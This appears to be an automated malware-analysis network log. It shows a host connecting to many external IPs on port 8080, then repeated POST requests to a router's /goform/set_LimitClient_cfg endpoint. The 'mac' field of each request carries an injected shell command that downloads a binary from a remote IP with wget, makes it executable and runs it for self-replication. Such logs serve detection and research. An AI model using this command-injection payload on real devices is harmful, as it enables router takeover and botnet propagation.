Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 115.207.179.139:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 63.145.184.235:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 195.23.123.9:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 52.6.197.16:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 96.0.15.110:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 107.250.161.59:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 209.216.159.233:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 63.192.88.29:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 140.161.81.231:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 162.131.181.131:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 198.42.183.72:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 9.25.64.121:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 75.110.171.123:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 141.152.99.190:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 136.45.213.138:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 169.153.21.176:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 217.146.102.195:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 164.123.120.75:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 152.186.140.175:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 89.54.243.217:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 194.244.153.10:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 154.90.196.215:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 218.189.187.182:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 170.79.184.94:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 206.95.246.130:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 145.150.170.71:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 196.151.109.157:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 149.187.87.141:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 76.123.143.17:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 57.87.250.197:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 171.106.192.77:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 81.103.16.195:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 40.115.98.67:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 19.72.162.34:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 61.14.84.36:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 209.142.26.161:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 155.209.56.89:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 93.81.66.133:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 36.153.55.198:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 142.119.255.127:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 65.224.35.51:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 39.170.24.107:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 79.37.137.185:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 112.98.13.251:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 60.75.230.41:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 189.214.61.251:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 14.73.165.245:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 158.117.56.154:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 51.168.48.115:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 186.96.187.147:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 58.183.64.114:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 99.156.117.128:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 182.221.251.99:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 183.89.225.253:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 206.85.250.69:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 165.244.141.120:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 84.228.251.13:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 101.249.57.219:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 102.45.240.210:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 119.202.60.92:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 47.206.215.52:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 80.205.99.237:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 78.11.141.161:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 52.191.27.240:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 104.60.26.226:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 72.123.96.222:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 59.96.167.147:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 57.209.96.148:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 47.181.5.166:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 138.183.32.193:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 106.9.159.20:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 39.220.17.123:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 117.35.135.116:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 137.102.54.221:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 181.29.215.245:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 24.245.22.106:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 141.144.154.212:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 150.0.206.202:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 103.1.122.170:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 100.2.245.133:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 212.89.43.218:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 165.69.63.132:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 136.35.85.197:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 91.78.2.44:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 144.241.222.241:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 205.70.24.92:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 204.117.114.30:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 99.72.92.102:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 217.34.8.241:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 126.72.246.178:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 200.78.96.90:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 96.162.22.78:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 8.231.79.157:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 44.142.146.237:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 46.185.129.40:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 209.135.93.202:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 195.12.140.15:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 168.81.153.180:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 171.22.18.252:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 51.69.48.29:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 177.43.93.33:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 57.130.130.19:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 220.77.25.146:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 9.47.113.101:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 45.138.185.37:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 24.154.25.195:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 57.229.9.136:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 1.142.9.118:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 187.141.10.192:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 171.118.134.229:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 113.64.181.51:8080

Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
